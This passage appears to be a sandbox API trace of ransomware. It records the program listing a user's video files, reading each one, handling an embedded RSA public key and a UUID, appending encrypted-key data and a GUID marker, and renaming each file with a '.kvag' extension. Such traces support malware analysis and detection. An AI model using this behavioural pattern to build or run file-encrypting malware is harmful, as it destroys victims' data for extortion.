lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.930] CloseHandle (hObject=0x61c) returned 1 [0120.930] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\PiczzFq_WT9ja-21xQgt.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\piczzfq_wt9ja-21xqgt.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\PiczzFq_WT9ja-21xQgt.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\piczzfq_wt9ja-21xqgt.mp4.kvag")) returned 1 [0120.932] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb123fe50, ftCreationTime.dwHighDateTime=0x1d4d4cc, ftLastAccessTime.dwLowDateTime=0x52e605c0, ftLastAccessTime.dwHighDateTime=0x1d4c5a1, ftLastWriteTime.dwLowDateTime=0x52e605c0, ftLastWriteTime.dwHighDateTime=0x1d4c5a1, nFileSizeHigh=0x0, nFileSizeLow=0xa9e1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="t2PkRgeqeSAZ.flv", cAlternateFileName="T2PKRG~1.FLV")) returned 1 [0120.932] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\t2PkRgeqeSAZ.flv") returned=".flv" [0120.932] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\t2PkRgeqeSAZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\t2pkrgeqesaz.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.932] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=43489) returned 1 [0120.932] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.934] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa9bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.934] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.935] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xa9e1, lpOverlapped=0x0) returned 1 [0120.936] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.936] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.936] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.936] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.937] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.937] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.937] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.937] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.937] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.937] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.937] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.937] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.937] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.937] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.938] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xa9e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.938] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.938] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.938] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.938] CloseHandle (hObject=0x61c) returned 1 [0120.939] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\t2PkRgeqeSAZ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\t2pkrgeqesaz.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\t2PkRgeqeSAZ.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\t2pkrgeqesaz.flv.kvag")) returned 1 [0120.940] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d1b6370, ftCreationTime.dwHighDateTime=0x1d4cbf6, ftLastAccessTime.dwLowDateTime=0xc8497530, ftLastAccessTime.dwHighDateTime=0x1d4caac, ftLastWriteTime.dwLowDateTime=0xc8497530, ftLastWriteTime.dwHighDateTime=0x1d4caac, nFileSizeHigh=0x0, nFileSizeLow=0x127ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uGZW.swf", cAlternateFileName="")) returned 1 [0120.940] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\uGZW.swf") returned=".swf" [0120.940] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\uGZW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\ugzw.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.941] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=75754) returned 1 [0120.941] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.943] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x127c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.943] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.944] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x127ea, lpOverlapped=0x0) returned 1 [0120.945] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.945] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.945] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.945] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.946] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.946] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.946] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.946] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.946] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.946] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.946] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.947] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.947] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.947] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.947] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x127ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.947] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.948] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.948] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.948] CloseHandle (hObject=0x61c) returned 1 [0120.949] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\uGZW.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\ugzw.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\uGZW.swf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\ugzw.swf.kvag")) returned 1 [0120.950] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdde0cad0, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0x34a6b940, ftLastAccessTime.dwHighDateTime=0x1d4c9cc, ftLastWriteTime.dwLowDateTime=0x34a6b940, ftLastWriteTime.dwHighDateTime=0x1d4c9cc, nFileSizeHigh=0x0, nFileSizeLow=0x16334, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vYSVT88he-_OipIO5cJM.mp4", cAlternateFileName="VYSVT8~1.MP4")) returned 1 [0120.950] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\vYSVT88he-_OipIO5cJM.mp4") returned=".mp4" [0120.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\vYSVT88he-_OipIO5cJM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\vysvt88he-_oipio5cjm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.951] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=90932) returned 1 [0120.951] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.952] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1630e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.952] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.954] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x16334, lpOverlapped=0x0) returned 1 [0120.955] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.955] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.955] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.955] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e00) returned 1 [0120.956] CryptCreateHash (in: hProv=0x3607e00, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.956] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.956] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.956] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.956] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.956] CryptReleaseContext (hProv=0x3607e00, dwFlags=0x0) returned 1 [0120.956] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.956] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.956] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.957] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.957] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x16334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.957] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.957] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.957] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.957] CloseHandle (hObject=0x61c) returned 1 [0120.958] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\vYSVT88he-_OipIO5cJM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\vysvt88he-_oipio5cjm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\vYSVT88he-_OipIO5cJM.mp4.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\_iy8x9ah9e4iyv\\vysvt88he-_oipio5cjm.mp4.kvag")) returned 1 [0120.960] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdde0cad0, ftCreationTime.dwHighDateTime=0x1d4c596, ftLastAccessTime.dwLowDateTime=0x34a6b940, ftLastAccessTime.dwHighDateTime=0x1d4c9cc, ftLastWriteTime.dwLowDateTime=0x34a6b940, ftLastWriteTime.dwHighDateTime=0x1d4c9cc, nFileSizeHigh=0x0, nFileSizeLow=0x16334, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vYSVT88he-_OipIO5cJM.mp4", cAlternateFileName="VYSVT8~1.MP4")) returned 0 [0120.960] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0120.960] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0120.960] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0120.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0120.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0120.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0120.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.960] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.960] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.960] PathFindFileNameW (pszPath="") returned="" [0120.960] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0120.961] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.961] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, 